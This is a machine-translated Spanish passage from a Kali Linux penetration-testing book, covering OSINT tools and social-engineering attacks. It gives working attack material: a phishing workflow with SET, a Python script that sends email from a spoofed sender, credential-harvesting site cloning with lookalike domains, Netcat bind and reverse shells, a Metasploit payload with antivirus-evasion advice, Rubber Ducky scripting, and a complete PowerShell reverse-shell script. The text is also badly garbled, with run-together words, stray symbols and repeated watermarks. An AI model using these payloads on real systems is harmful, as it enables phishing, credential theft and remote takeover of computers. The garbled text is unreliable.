nombre del registrante
Teléfono de contacto
Dirección de correo electrónico
Dirección física de la entidad
fecha de caducidad del dominio
Servidores NS (servidores de nombres)
lacosechadora
Encontrar la dirección de correo electrónico es crucial si va a realizar una actividad social.
ataque de ingeniería o ejercicio de phishing.
direcciones si eres un experto ya que ya sabes cuál es el formato del correo electrónico
se parece (por ejemplo, [email protected] ).
Hay muchas herramientas en la naturaleza para este propósito.
sigue haciendo un gran trabajo, se llama Cosechadora.
motores de búsqueda como Google para filtrar los resultados:
$theHarvester-d[dominio]-b[fuentes en línea]-s
root@kali:~#theHarvester-dethicalhackingblog.com-ball-s
tableresultsalreadyexists
**************************************************** ****************
*
___
*||_||_____/\/\________________||_______*|__|_\/\//_//_`|'__\\//\/__|__/_\'__|*| |_||||
_
_
__///(_||
__
|\V/__/\__\||__/|*\__|_||_|\___|\//_/
\__,_|_|\_/\___||___/\__\ ___|_|
*
*theHarvester3.1.0*Codificado
porChristianMartorella*EdgeSecurityResearch*[email protected]
*
**************************************************** ****************
Canal de Telegram : @IRFaraExam
*
*
*
*
*
*
*
*
*
*
*
Machine Translated by Google
[*]Objetivo:ethicalhackingblog.com
[*]Buscando en Yahoo.
[*]BuscandoCertSpotter.
Búsqueda de resultados.
[*]BuscandoIntelx.
Ha ocurrido una excepción en Intelxsearch: [Errno2] Nosuchfileordirectory:'api-keys.yaml'
[*]Buscando en Google.
Buscando0resultados.
Buscando100resultados.
Buscando200resultados.
Buscando300resultados.
Buscando400resultados.
Buscando500resultados.
[*]BuscandoHunter.
[*]BuscandoVirusTotal.
Búsqueda de resultados.
[*]BuscandoBaidu.
[*]BuscandoSecurityTrails.
[*]Buscando multitud de amenazas.
Búsqueda de resultados.
[*]BuscandoBing.
[*]Buscar nombres de usuario de Twitter usando Google.
[*]Usuarios encontrados:3
--------------------@GusKhawaja
@fotogramas clave
@medios de comunicación
[…]
-d es para especificar el nombre de su objetivo. (Si usa el
éticahackingblog.com nombre de dominio como se muestra en la figura, no se
sorprendido si no encuentra resultados porque el dominio está protegido para tales
ataques.)
ÿs es buscar en el motor web de Shodan.
ÿB es el nombre de la fuente de datos en línea ; en la figura, los he elegido todos.
Esta es la lista de la que puede elegir (utilice el comando de ayuda ÿh para
mas opciones):
Baidu
Canal de Telegram : @IRFaraExam
Machine Translated by Google
API
de Bing
certificador
Crtsh
DnsDumpster
pila de perros
Pato Pato a ganar
código Github
Google
Cazador
Intelx
Linkedin y Linkedin_enlaces
netcraft
Otx
SeguridadSenderos
Multitud de amenazas
Trello
Gorjeo
host virtual
VirusTotal
yahoo
Todo (ejecuta todas las fuentes de datos anteriores)
Dmitry
DMitry, que significa “herramienta de recopilación de información mágica profunda”, es otra
aplicación que hace varias cosas al mismo tiempo: ÿw :PerformaWhoislookup.
ÿn :Recuperar registros de Netcraft.com sobre el objetivo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
-s :busca subdominios.
ÿE: Searchfore ÿ direcciones de correo.
P: Explorar puerto abierto TCP (esto no es pasivo).
root@kali:~#dmitry-wnse[nombre-de-dominio.com]
Maltego
Maltego es ideal para la recopilación pasiva de información. Uno podría escribir un libro
completo sobre esta herramienta porque contiene todo lo que necesita para hacer el trabajo.
Si desea utilizar todas las funcionalidades, debe pagar una licencia anual. Si es un
profesional, esta herramienta es imprescindible, pero aún puede utilizar la versión limitada
y obtener resultados decentes.
TransformarHub
TransformHub, que se muestra en la Figura 4.6, es una colección de sitios donde Maltego
obtendrá los datos (por ejemplo, Shodan, Kaspersky, VirusTotal, etc.).
De manera predeterminada, la mayoría de estas fuentes de datos no están instaladas; debe
hacer clic en cada una de las que desea instalar. Hay varios tipos de fuentes de datos:
Pagado por separado: tendrá que pagar directamente por estos servicios web;
no están incluidos en las tasas de licencia de Maltego.
Gratis: muchas de estas fuentes de datos son completamente gratuitas.
API autenticada: algunos de estos servicios requerirán que abra una cuenta, luego
le darán un token de API para autenticarse y usar sus datos.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 4.6 MaltegoTransformHub
Creación de un gráfico
El gráfico es la pieza central de Maltego. En esta sección, ejecutará sus escaneos
pasivos. Antes de comenzar un escaneo, primero deberá seleccionar una entidad (por
ejemplo, una persona, una empresa, un nombre de dominio, etc.).
Veamos un ejemplo práctico; seleccionaremos el DNS del blog de hacking ético como
una entidad, como se muestra en la figura 4.7.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 4.7 Entidades de Maltego
Al hacer clic derecho en la entidad, puede ver todos los tipos de escaneos que puede ejecutar
(Figura 4.8). Los principiantes siempre tienen la tentación de hacer clic en Todas las transformaciones
(solía pensar de esa manera cuando comencé a usar estas herramientas hace muchos años). En su
lugar, debe ejecutar los escaneos de transformación uno por uno para evaluar cada escaneo por
separado.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 4.8 Transformaciones de Maltego
A continuación, haga clic en Convertir a dominio y ejecute el análisis A dominios. (Haga clic en la flecha
de reproducción a la derecha, como se muestra en la Figura 4.9, para ejecutar el análisis).
Figura 4.9 MaltegoToDomainsTransform
En esta etapa, Maltego mostrará visualmente el nombre de dominio asociado al DNS (Figura 4.10).
Perfecto. Ahora, cuando haga clic con el botón derecho en la entidad del nombre de dominio, debería ver más
opciones de transformación (Figura 4.11).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
A continuación, haga clic en las flechas dobles junto al elemento DNS
From Domain para ejecutar todas las pruebas de subdominios . (Figura
4.12):
Figura 4.10 MaltegoDomainName /DNS
Figura 4.11 Transformaciones de nombre de dominio
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 4.12 Gráfico de subdominios de Maltego
Aquí las opciones son infinitas: puede elegir cada tipo de entidad y hacer clic derecho para
visualizar los diferentes tipos de información que puede consultar desde Internet. Tenga
en cuenta que esta demostración muestra la versión paga de Maltego 4.2.9, pero también
puede realizar la mayoría de los escenarios en la edición gratuita.
Somesecurityfolksusefreetoolslikerecon ngthatdoajobsimilartotheone executedinMaltego.
(Recon ngisaPythonscannerforinformationgathering thatuseswebAPIservicestofetchitsdata.)
Foreducationalpurposes, itisnot harmfultotrythesefreetools.However,
ifanorganizationiscountingonyour trabajo, thenmoneyshouldnotbeanobstacle, anditis,
inthiscase, recomienda totakeadvantageoftheyearlylicense.ThisisapplicablenotonlyforMaltego,
butformostofthesecuritytoolsoutthere (por ejemplo, Nessus, BurpSuitePro, etc.). Si
youwanttoshowprofessionalresults, youmustpaythepriceaccordinglytoget thejobdonecorrectly.
Resumen
La recopilación de información es uno de los componentes principales durante un compromiso.
Incluso si no va a realizar un ataque de ingeniería social, esta fase le dará un ángulo
diferente sobre el dominio o la empresa a la que se dirige. La web siempre oculta algunos
secretos, como contraseñas comprometidas, datos confidenciales, etc.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 5
Ingeniería SocialAtaques
Cuando leo un libro, por lo general odio las introducciones largas que no abordan
directamente el tema. Entonces, vayamos al grano. En este capítulo, aprenderá
sobre ingeniería social y diferentes técnicas que lo ayudarán a aprovechar la
debilidad humana. Tome nota, este libro trata de enseñarle los principios que puede
usar en cualquier herramienta instalada en Kali Linux.
En este capítulo, aprenderá sobre los siguientes temas de ingeniería social:
Envío de correos electrónicos de phishing
Robo de credenciales
Uso del kit de herramientas de ingeniería social
Conceptos básicos de las cargas útiles y los oyentes
Uso del USB Rubber Ducky para ataques de ingeniería social
SpearPhishingAtaques
Entonces, ¿qué es el phishing? El phishing es un ataque de fraude por correo
realizado contra un gran número de víctimas; contiene un elemento de interés
general que atraerá a las personas a actuar en el correo electrónico. Por ejemplo,
puede anunciar una botella de medicamento gratis e incluir un enlace malicioso o un
archivo adjunto.
Spearphishing es una forma muy específica de ataque de phishing.
Por ejemplo, si el atacante sabe que el departamento de ventas usa una aplicación
particular para administrar sus relaciones con los clientes, el atacante puede falsificar un
correo electrónico, fingiendo que es del proveedor de la aplicación con el asunto
"Emergencia" y la instrucción diciéndole que haga clic en un enlace para descargar una
copia, un parche o una actualización. ¿Cuántos representantes de ventas cree que van a hacer clic en ese enla
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Enviando un correo electrónico
Antes de saltar a un ejemplo práctico, hay dos puntos importantes que debe saber antes de enviar un
correo electrónico a sus víctimas: Primero, necesita tener una cuenta SMT Prelay (estoy usando mi
servicio de retransmisión GoDaddy). Realice una investigación para encontrar el servicio
adecuado para usted.
Necesita un correo electrónico profesional y convincente o, de lo contrario, su ataque fracasará
inevitablemente.
El kit de herramientas de ingeniería social
El kit de herramientas de ingeniería social (SET), escrito por el líder de seguridad David
Kennedy, está diseñado para realizar ataques avanzados contra las debilidades humanas; esto se
conoce como ingeniería social . KaliLinux ya tiene esta herramienta preinstalada de forma predeterminada.
Para la unidad, deberá ejecutar el kit de herramientas en la ventana de su terminal:
root@kali:/#setoolkit
Para enviar un correo electrónico, seleccione Ataques de ingeniería social en el primer menú:
Seleccionedelmenú:
1) Ataques de ingeniería social
2) Pruebas de penetración (vía rápida)
3) Módulos de terceros
4) Actualice el kit de herramientas de ingeniería social
5) Actualizar la configuración de SET
6) Ayuda, Créditos y Acerca de
99) Salir del kit de herramientas de ingeniería social
conjunto>1
A continuación, seleccione MassMailerAttack (opción n.º 5):
Seleccionedelmenú:
1) Vectores de ataque de suplantación de identidad (spear-phishing)
2)Vectores de ataque al sitio web
3) Generador de medios infecciosos
4) Crear una carga útil y un oyente
5) Ataque de correo masivo
6) Vector de ataque basado en Arduino
Canal de Telegram : @IRFaraExam
Machine Translated by Google
7) Vector de ataque de punto de acceso inalámbrico
8)Vector de ataque del generador de código QR
9) Vectores de ataque Powershell
10) Módulos de terceros
99) Vuelva al menú principal.
conjunto> 5
En la ventana siguiente, tiene la opción de enviar un correo electrónico a un grupo de personas
oa un solo individuo. Veamos cómo se verá nuestro escenario de ataques por correo electrónico.
Por el bien de este ejemplo, suponga que usted, como miembro del equipo rojo, finge ser un
representante de Microsoft, y está enviando un correo electrónico al administrador (un empleado
que trabaja en el blog de hacking ético de la empresa) para decirle que la máquina del
administrador debe actualizarse. El correo electrónico contiene una URL maliciosa en la que el
administrador debe hacer clic.
Volviendo a nuestro menú SET, enviaremos el correo electrónico a una sola persona. Elijamos
la opción número 1 y presione Enter:
Qué es lo que quieres hacer:
1.E-MailAttackSingleE-mailAddress 2.E-MailAttackMassMailer
99.Vuelvaalmenúprincipal.
conjunto: correo> 1
Aquí, estamos enviando este correo al administrador deethicalhackingblog.com
(Sin embargo, recuerde probar estos ejercicios con algo de su propiedad).
establecer: phishing> Enviar correo a: [email protected]
1.UseunaCuentaGmailparasuataquedecorreoelectrónico.
2.Usesupropioservidoroopenrelay
conjunto: suplantación de identidad> 2
Cuando vea las opciones anteriores, tendrá la tentación de elegir Gmail, porque es gratis
y no necesita una cuenta de retransmisión, ¿verdad? Bueno, si lo prueba, Google bloqueará
con gusto sus archivos adjuntos.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Gmail. Somos profesionales, ¿verdad? ¡No niños de secuencias de comandos! Ya que estamos utilizando una
cuenta de retransmisión, elegiremos la opción 2.
El correo electrónico debe ser de Microsoft. Por lo tanto, complete la información de retransmisión.
(¡Esta pieza debe reflejar la información de su relé, no la mía!)
La figura 5.1 muestra cómo se ve cuando el administrador recibe el correo electrónico.
Figura 5.1 AdminE ÿmail
Preste atención a estas dos cosas en el correo electrónico:
Los errores gramaticales no están permitidos. Por ejemplo, "siguiente" no es correcto en el
mensaje anterior, por lo que llamará la atención sobre la autenticidad del correo electrónico.
Si desea utilizar direcciones URL, asegúrese de que estén cerca del nombre de dominio real.
Por ejemplo, micosoft (sin la r) está muy cerca de Microsoft.
Enviar un correo electrónico usando Python
Python es un lenguaje excelente para hacer cosas en pruebas de penetración. Más adelante en este
libro, aprenderá los entresijos de este lenguaje de programación. Por el momento, el siguiente código
muestra cómo enviar correos electrónicos sin depender de una aplicación que lo haga por usted.
#Usethesmtplibtosendane-mail importsmtplib
#Configuración
#Tu-dirección-de-correo,larealista
sender_email=[senderemail]
#Youre-mailusername
username=[smtpaccountusername]
#Contraseñarequeridaparasucuentadecorreo
Canal de Telegram : @IRFaraExam
Machine Translated by Google
contraseña=[contraseña de su cuenta SMTP]
#información de correo electrónico falsificada
spoofed_email=[dirección de correo electrónico falsa]
#Spoofedfullname
spoofed_name='JuanDoe'
#victimemailaddressvictim_email=[victimemailaddress]
#Emailsubjectsubject="esteesunasunto\n"
#E-mailbodymessage
body="Esteeselcuerpo."
+nombre_suplantado+
header=('Para:'+victim_email+'\n'+'From:'<'+spoofed_email+'>'+'\n'+'Subject:'+asunto)
message=(header+'\n\n'+body+ '\n\n')
tratar:
session=smtplib.SMTP_SSL([smtpserverdomain],[smtpserverportnumber])
session.ehlo() session.login(username,password)
session.sendmail(sender_email,victim_email,message) session.quit()
print"EmailSentWithSuccess!" excepto smtplib.SMTPException: imprime "Error:
¡No se puede enviar el correo electrónico!"
Robo de credenciales Es
hora de revelar el método más beneficioso y eficiente que puede utilizar para un ataque
de ingeniería social.
Solo una advertencia: esto no es un tutorial para que lo use con sus amigos para robar
sus contraseñas. Este es un libro profesional para personas que quieren aprender a
aplicar este tipo de trucos en sus carreras.
Para iniciar este ataque, primero debe preparar un correo electrónico HTML profesional
y asegurarse de que no tenga dudas cuando la víctima lo reciba. Un desarrollador puede
ayudarlo a clonar un sitio web y adjuntarle una base de datos para que cada vez que las
víctimas envíen sus credenciales, se guardarán en esa base de datos.
1.Seleccione la opción 1: Ataques de ingeniería social.
Canal de Telegram : @IRFaraExam
'
Machine Translated by Google
2.Seleccione la opción 2:Vectores de ataque al sitio web.
3.Seleccione la opción 3: CredentialHarvesterAttackMethod.
4.Seleccione la opción 2: SiteCloner.
set:webattack>IPaddressforthePOSTbackinHarvester/Tabnabbing[10.0.20.140]:[Ingrese su
dirección IP de Kali aquí]
[-]SET admite HTTP y HTTPS
[-]Ejemplo:http://www.thisisafakesite.com
establecer: ataque web> Ingrese la urltoclone: https://10.0.20.1/#/login
[*]Clonacióndelsitioweb:[IngreselaURLdeiniciodesesiónobjetivo]
[*]Esto podría tomar un poco...
La mejor manera de usar este ataque es si los campos de formulario de nombre de usuario
y contraseña están disponibles.
[*]TheSocial-EngineerToolkitCredentialHarvesterAttack
[*]La cosechadora de credenciales se está ejecutando en el
puerto 80[*]Se le mostrará información a medida que llegue a continuación:
La segunda parte importante es el enlace que va a agregar en su correo electrónico.
¿CuáleslamejormaneradeofuscaresaURL?Bueno,larespuestasimpleparacrear
un dominio y, a continuación, cree un subdominio que sea una copia del original.
toma el Facebook.com dominiocomounejemplo.Paraobtenerunresultadoexitoso,creaun
dominiofalsoconunnombresimilarcomoFcb.com _ y luego crear un subdominio
Facebook.com
. Esto es lo que debería verse:
facebook.fcb.com
No te animo a que uses Facebook en tu prueba.
permisopararealizarestaacción.Estoessolounejemplo.
En la práctica, los equipos rojos y los probadores de penetración necesitarán usar el
sitio web del empleador o del cliente. Un excelente ejemplo realista es clonar el
intranetdetucliente/empleadorparaquepuedasrobareldominiodelavíctima
credenciales. A continuación, enviará el correo electrónico a su víctima, mientras ve el
sección anterior. Idealmente, usó un correo electrónico convincente que persuade a los empleados
para hacer clic en la URL que redirigirá a los empleados al sitio falso.
comenzarán a escribir sus credenciales, y cuando hagan clic en el botón de inicio de sesión,
ser redirigido al sitio real. El atacante ahora tiene las credenciales del
víctimas desafortunadas.
Cargas útiles y oyentes
Canal de Telegram : @IRFaraExam
Machine Translated by Google
En esta sección, aprenderá a crear una carga útil y un oyente. Si es un principiante, estos
son los aspectos básicos que debe tener en cuenta antes de continuar.
Una carga útil es un ejecutable que le permitirá conectarse a un oyente. El objetivo es tener
una conexión TCP entre el host de la víctima y el atacante. Una vez establecida esta
conexión, el pirata informático podrá manipular el sistema operativo de la víctima mediante
un shell remoto. Este shell remoto puede ser un shell combinado o un shell inverso.
BindShellvs.ReverseShell
Es vital comprender la diferencia entre un shell atado y un shell inverso antes de pasar
al siguiente capítulo de este libro. Muchos aficionados y profesionales de la seguridad tienen
una idea confusa de estos dos conceptos. Usaremos algunos ejemplos prácticos para
ayudarlo a comprenderlos.
BindShell
En un caparazón, el atacante se conecta directamente desde Kalito, la máquina de la
víctima, donde el oyente ya ha sido lanzado (ver Figura 5.2). Para este escenario, usaremos
Netcat para hacer el trabajo. Esta herramienta es conveniente para practicar pruebas de
penetración, desafíos de captura de bandera (CTF) y exámenes de certificación como OSCP.
Nos conectaremos directamente desde el host atacante Kali a un host de destino de Windows
10.
Figura 5.2 BindShell
Si desea practicar el mismo ejercicio por su parte, existe un binario de Netcat para
Windows en Kal guardado en /usr/share/windows-binaries/nc.exe . Copie el archivo
nc.exe en su host de Windows para reproducir los resultados.
Canal de Telegram : @IRFaraExam
.
Machine Translated by Google
A continuación, ejecute Netcat en modo de escucha con la opción ÿl ;
además, use el puerto 9999 para escuchar las conexiones entrantes.
PSC:\Users\gus\Documents\Shared>./nc.exe-nlvp9999-eC:
\Windows\System32\cmd.exe listeningon[any]9999…
Después de ejecutar la escucha en el host de Windows, vuelva a la sesión de Kaliteral y
conéctese directamente al sistema operativo Windows mediante Netca en el puerto 9999:
root@kali:/#nc-nv10.0.20.1279999 (DESCONOCIDO)
[10.0.20.127]9999(?)abierto
MicrosoftWindows[Versión 10.0.17763.1039]
(c)2018MicrosoftCorporation.Todoslosderechosreservados.
C:\Usuarios\gus\Documentos\Compartido>
ReverseShell
Un shell inverso es una opción favorita para los probadores de penetración,
y leerá mucho al respecto en este libro. El método es lo opuesto al shell
vinculante.
El secreto no está en ninguna parte: en una conexión de shell inverso,
los cortafuegos generalmente permitirán que el tráfico pase.
Figura 5.3 ReverseShell
Practiquemos el escenario de shell inverso con Netcat de nuevo. Primero, ejecute
Netcat listener en el host (Kali en este ejemplo). Use el puerto 8888 para escuchar
Canal de Telegram : @IRFaraExam
Machine Translated by Google
conexiones entrantes:
root@kali:/#ncÿnlvp8888
escuchando[cualquiera]8888…
A continuación, cambie al host de Windows de la víctima y conéctese al oyente en el
puerto 8888. Tenga en cuenta que la dirección IP del KaliVM es 10.0.20.140:
PSC:\Usuarios\gus\Documentos\Compartido>./nc.exe10.0.20.1408888-eC:
\Windows\System32\cmd.exe
Volvamos a nuestro host Kali y deberíamos ver un shell inverso exitoso.
root@kali:/#nc-nlvp8888 escuchando
en [cualquier] 8888… conectarse a
[10.0.20.140] desde (DESCONOCIDO) [10.0.20.127] 54479
MicrosoftWindows[Versión 10.0.17763.1039]
(c)2018MicrosoftCorporation.Todoslosderechosreservados.
C:\Usuarios\gus\Documentos\Compartido>
Shell inverso con SET Debe tener
cuidado con la forma en que asegura su carga útil antes de enviarla a su destino. En otras
palabras, debe asegurarse de que el ejecutable de su carga útil no sea detectado por el
software antivirus instalado en la PC de la víctima.
www.virustotal.com/gui/home/upload
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 5.4 VirusTotal
La mejor manera de ofuscar sus cargas útiles es usando una personalizada. En otras
palabras, debe desarrollar una carga útil usando un lenguaje de programación como Python,
PowerShell, C#, etc. Aprenderá más sobre este tema en este libro, pero por el momento,
veamos cómo generar una carga útil usando SET.
Primero, ejecute la aplicación SET y elija las siguientes opciones:
Seleccione la opción 1: Ataques de ingeniería social
Seleccione la opción 4: Crear una carga útil y un oyente
Seleccione la opción 1: WindowsShellReverse_TCP
A continuación, se le pedirá que ingrese su IP de host Kali (atacante) y el número de puerto que
desea escuchar. Una vez que lo haga, generará una carga útil en /root/.set/payload.exe .
Finalmente, se le pedirá que inicie el oyente .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
set:payloads>IPaddressforthepayloadlistener(LHOST):10.0.20.140
set:payloads>IngresarelPUERTOparaelescuchainverso:7777
[*]Generandolacarga útil..seapaciente.
[*]La carga útil se ha exportado al directorio SET predeterminado ubicado en /root/.set/
payload.exe set:payloads>¿Desea iniciar la carga útil y escuchar ahora? (sí/no): sí [*] Al
iniciar msfconsole, esto puede tardar unos minutos en cargarse. Tenga paciencia...
En esta etapa, el SET inicia automáticamente el oyente del controlador múltiple
Metasploit. Profundizaremos en Metasploit más adelante en este libro, y verá cómo crear
un oyente manualmente. SET hace todo por usted sin la molestia manual.
El oyente ahora debería estar funcionando y esperando las conexiones
entrantes de las víctimas:
=[metasploitv5.0.85-dev] +---=[2002exploits-1093auxiliary-342post] +---=[560payloads-45encoders-10nops] +----=[7evasión]
Sugerencia para metasploit: puede usar la ayuda para ver todos los comandos disponibles
[*]Processing/root/.set/meta_configforERBdirectives. resource(/root/.set/
meta_config)>usemulti/handler resource(/root/.set/
meta_config)>setpayloadwindows/shell_reverse_tcp payload=>windows/
shell_reverse_tcp resource(/root/.set/meta_config)>setLHOST10.0.20.140
LHOST=>10.0.20.140 recurso(/root/.set/meta_config)>setLPORT7777
LPORT=>7777 recurso(/root/.set/meta_config)>setExitOnSessionfalse
ExitOnSession=>falso recurso(/root/.set/meta_config)>explotar -j
[*]Exploitejecutándose como trabajo en segundo plano0.
[*]Exploitcompletó, pero no se creó ninguna sesión.
[*]IniciadoreverseTCPhandleron10.0.20.140:7777msf5exploit(multi/
handler)>
Es hora de enviar la carga útil a la VM host de Windows 10 de nuestra víctima y ejecutarla
Canal de Telegram : @IRFaraExam
Machine Translated by Google
desde allí. Tome nota de que la carga útil se guarda en /root/.set/payload.exe .
A continuación, copie payload.exe en el host de Windows y haga doble clic para ejecutarlo.
desde dentro de la VM de Windows. Para que esto funcione, tengo que deshabilitar la
software antivirus en el host de Windows 10 antes de copiar el archivo payload.exe .
Después de ejecutar el archivo de carga útil en el host de Windows, Metasploit Listener
debe mostrar una conexión exitosa. Para visualizar la sesión actualmente abierta,
use el comando de sesiones . Después de ejecutar el comando de sesiones ,
indicar que hay una sesión abierta. Para interactuar con esa sesión, ejecute el
sesiones-i1 comando. Una vez que presione Entrar, tendrá una
Windowsshell para usar al alcance de su mano:
[*]IniciadocontroladorTCPreversoen10.0.20.140:7777msf5exploit(multi/
handler)>[*]Commandshellsession1abierto(10.0.20.140:7777>10.0.20.127:54501)en2020-05-2211:27:38-0400
sesiones
Sesiones activas
===============
IdNombreTipoInformaciónConexión
--------------------------------------------1
shellx86/windowsMicrosoftWindows[Versión 10.0.17763.1039]
(c)2018MicrosoftCorporation.A…10.0.20.140:7777>10.0.20.127:54501(10.0.20.127)
msf5exploit(multi/controlador)>sesiones-i1
C:\Usuarios\gus\Documentos\Compartido>
Ingeniería social con USBRubberDucky
El USBRubberDuckyesuninventofantásticoparalosataquesdeingenieríasocial.
Puede comprarlo en la tienda en línea de Hak5 y viene con tutoriales que le muestran
cómo funciona:
shop.hak5.org/products/usb-rubber-ducky-deluxe
El USBRubberDucky se utilizó en la temporada 2 de Mr. Robot debido a la
efectividad del ataque, así que qué es mejor que usar esta herramienta que se mostró en
¿Un programa de televisión de Hollywood?
¿Por qué esta herramienta es tan convincente? El USB Rubber Ducky no es una memoria USB,
aunque parece uno; es, de hecho, un teclado. ¿Y adivina qué? Antivirus
Canal de Telegram : @IRFaraExam
Machine Translated by Google
el software pensará que acaba de conectar un teclado y no una memoria USB.
¡Aún no hemos terminado! Cuando insertes este dispositivo en la computadora,
comenzará a escribir y ejecutar lo que quieras en la máquina de la víctima: ¡qué invento
fantástico!
En la Figura 5.5, puede ver el USB Rubber Ducky con su cubierta de plástico (si compara
su tamaño con una memoria USB real, es bastante más pequeña que la mayoría de las
USB en el mercado), y en el lado derecho, la cubierta se ha quitado por completo.
Figura 5.5 USBRubberDucky
En la imagen de la derecha, puede ver una tarjeta MicroSD insertada; la usaremos para
guardar nuestro script de carga útil. Repasemos los pasos que debe seguir para poner
este juguete en funcionamiento:
1. Extraiga la tarjeta Micro SD del USB Rubber Duck e insértela en un
Adaptador USB (consulte la Figura 5.6).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 5.6 USBRubberDucky con MicroSD
2. Tome el adaptador USB y péguelo en su caja Kali Linux. Es hora de comenzar a desarrollar su
secuencia de comandos Ducky. Aquí hay una secuencia de comandos de muestra que abrirá
el Bloc de notas en la máquina de la víctima e imprimirá "Hello World" (dentro del Bloc de notas):
REMMyFirstScriptÿcomentarios
WINDOWSrÿWindows+R=abrir la ventana DELAY100ÿdéle
tiempo para abrir con un retraso
STRINGnotepad.exeÿescribanotepad.exedentrodelejecutarENTERÿretornodelcarroparaabrirnotepad
DELAY200ÿdéletiempoparaabrir STRINGHelloWorld!ÿescribaeltexto"HelloWorld!"dentrodeunnotepad
3. Cuando termine de escribir el script, guárdelo en un archivo de texto. En esta etapa,
necesitamos compilarlo usando el siguiente comando:
$ java-jar [ruta del archivo de codificador de pato] -i [el archivo de texto de entrada] -o
[el archivo de salida que se generará]
Después de ejecutar el comando javaencoder anterior, debe guardar el
archivo .bin de salida en la tarjeta MicroSD. Tenga en cuenta que es el
archivo .bin el que se ejecutará cuando el patito se inserte en el host de la víctima .
4. Expulse el adaptador USB de su servidor Kali y vuelva a colocar la unidad MicroSD
en el USBRubberDucky.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
5. Es hora de la parte divertida: inserte el USB Rubber Ducky en su PC de destino.
Para asegurarse de que funciona, puede probar en una PC diferente para visualizar la salida
(también para asegurarse de que no ha cometido ningún error de tiempo de ejecución de
codificación en el script).
En general, cuando inserta el USB Rubber Duckystick en la PC de la víctima, ejecutará la secuencia
de comandos automáticamente. Pero en caso de que la secuencia de comandos no se ejecute o
falle, tiene la opción de usar la unidad manualmente haciendo clic en el pequeño botón negro
Ejecutar en el medio. ( Consulte la Figura 5.5; parece un pequeño botón de reinicio).
APrácticoReverseShellUsingUSBRubberDuckyand
Potencia Shell
Este capítulo finaliza con una gran receta para shell inverso contra sistemas operativos
Windows, utilizando PowerShell. Este lenguaje de secuencias de comandos fue inventado por
Microsoft como un equivalente a Bashin Linux OS. Antes de aprender cómo aprovechar este
comportamiento en la práctica, estos son los pasos utilizados en este escenario:
1. Genere un shell inverso de PowerShell mediante SET.
2. Comience a escuchar en el host Kali.
3. Aloje el archivo .ps1 de PowerShell en el servidor web Kali.
4. Cambie al host de Windows y ejecute PowerShell en modo administrativo.
5. Ejecute un comando que descargará y ejecutará el host de script .ps1 en
elKaliVM.
6.Compruebe que tiene un shell nuevo en el host de Windows.
7. Vuelva a crear la escena de PowerShell con USB Rubber Ducky.
Generación de un script de PowerShell
Abra la aplicación SET y realice los siguientes pasos: 1.
Seleccione la opción número 1: Ataques de ingeniería social.
2. Elija la opción número 9: PowerShell AttackVectors.
3.Seleccioneopciónnúmero2:PowerShellReverseShell.
A continuación, se le pedirá que ingrese su dirección IP de Kali. (Mi dirección IP de Kali es
10.0.20.140). Ingrese el puerto en el que desea escuchar (usaremos 443 para este ejemplo, que
representa HTTPS/TLS para ofuscación).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
le preguntará si desea iniciar el oyente, y seleccionará no . (Entenderá por qué pronto):
Ingrese la dirección IP o el nombre DNS para el host inverso: 10.0.20.140 set: powershell>
Ingrese el puerto para el oyente [443]: 443 [*] Reescribiendo el shell inverso de power shell
con opciones [*] Exportando las cosas de power shell a/root/.set/reports/powershell set>
¿Desea iniciar un oyente [sí/no]: no
Inicio de un oyente En el
paso anterior, decidimos no iniciar el oyente porque queremos buscar un patrón diferente. Ahora
que sabe quién funciona con el shell inverso, iniciaremos un oyente manualmente usando Netca
en Kalibox. También puede usar Metasploit, pero para simplificar, sigamos con Netcat:
root@kali:~#nc-nlvp443
escuchando[cualquiera]443…
-n:NorealizarbúsquedaDNS
-l:mododeescucha -v:mododetallado
-p:establecerelnúmerodepuertodeescucha
Hospedaje del script de PowerShell
El kit de herramientas SET ha generado un archivo de texto en la siguiente ruta:
~/.set/informes/powershell/powershell.reverse.txt
Si abre el archivo de texto, se dará cuenta de que SET ya ha completado la dirección IP y el
número de puerto para usted:
limpieza de
funciones{ if($client.Connected-eq$true){$client.Close()}
if($process.ExitCode-ne$null){$process.Close()} exit}
//ConfigurarIPADDR
$dirección='10.0.20.140'
//SetupPORT
$port='443'
$client=New-Objectsystem.net.sockets.tcpclient $client.connect($address,
$port) $stream=$client.GetStream() $networkbuffer=NewObjectSystem.Byte[ ]$client.ReceiveBufferSize $process=NewObjectSystem.Diagnostics.Process
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$process.StartInfo.FileName='C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput=1 $process.StartInfo.RedirectStandardOutput=1
$process.StartInfo.UseShellExecute=0 $process.Start () $inputstream=$process.StandardInput
$outputstream=$process.StandardOutput Start-Sleep1 $encoding=newobjectSystem.Text.AsciiEncoding while($outputstream.Peek()-ne-1)
{$out+=$encoding.GetString ($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length) $out=$null;$done=$false;
$testing=0; while(-not$done){ if($client.Connected-ne$true){cleanup} $pos=0;$i=1
while(($i-gt0)-and($pos-lt$networkbuffer.Length )){ $lectura=$stream.Read($networkbuffer,
$pos,$networkbuffer.Length-$pos) $pos+=$read;if($pos-and($networkbuffer[0..$
($pos-1 )]-contains10)){break}} if($pos-gt0){ $string=$encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string) start-sleep1 if($process. ExitCode-ne$null){limpieza} else{
$out=$codificación.GetString($outputstream.Read())
while($outputstream.Peek()-ne-1)
{ $out+=$encoding.GetString($outputstream.Read());if($out- eq$string){$out=''}}
$stream.Write($encoding.GetBytes($out),0,$out.length) $out=$null $string=$null}}
else{cleanup}}
Hay un pequeño problema con el código anterior y tenemos que solucionarlo. Los prefijos
de comentarios son incorrectos, por lo que debemos deshacernos de estas dos líneas de
comentarios por completo borrándolas:
Eliminar esta línea://ConfigurarIPADDR
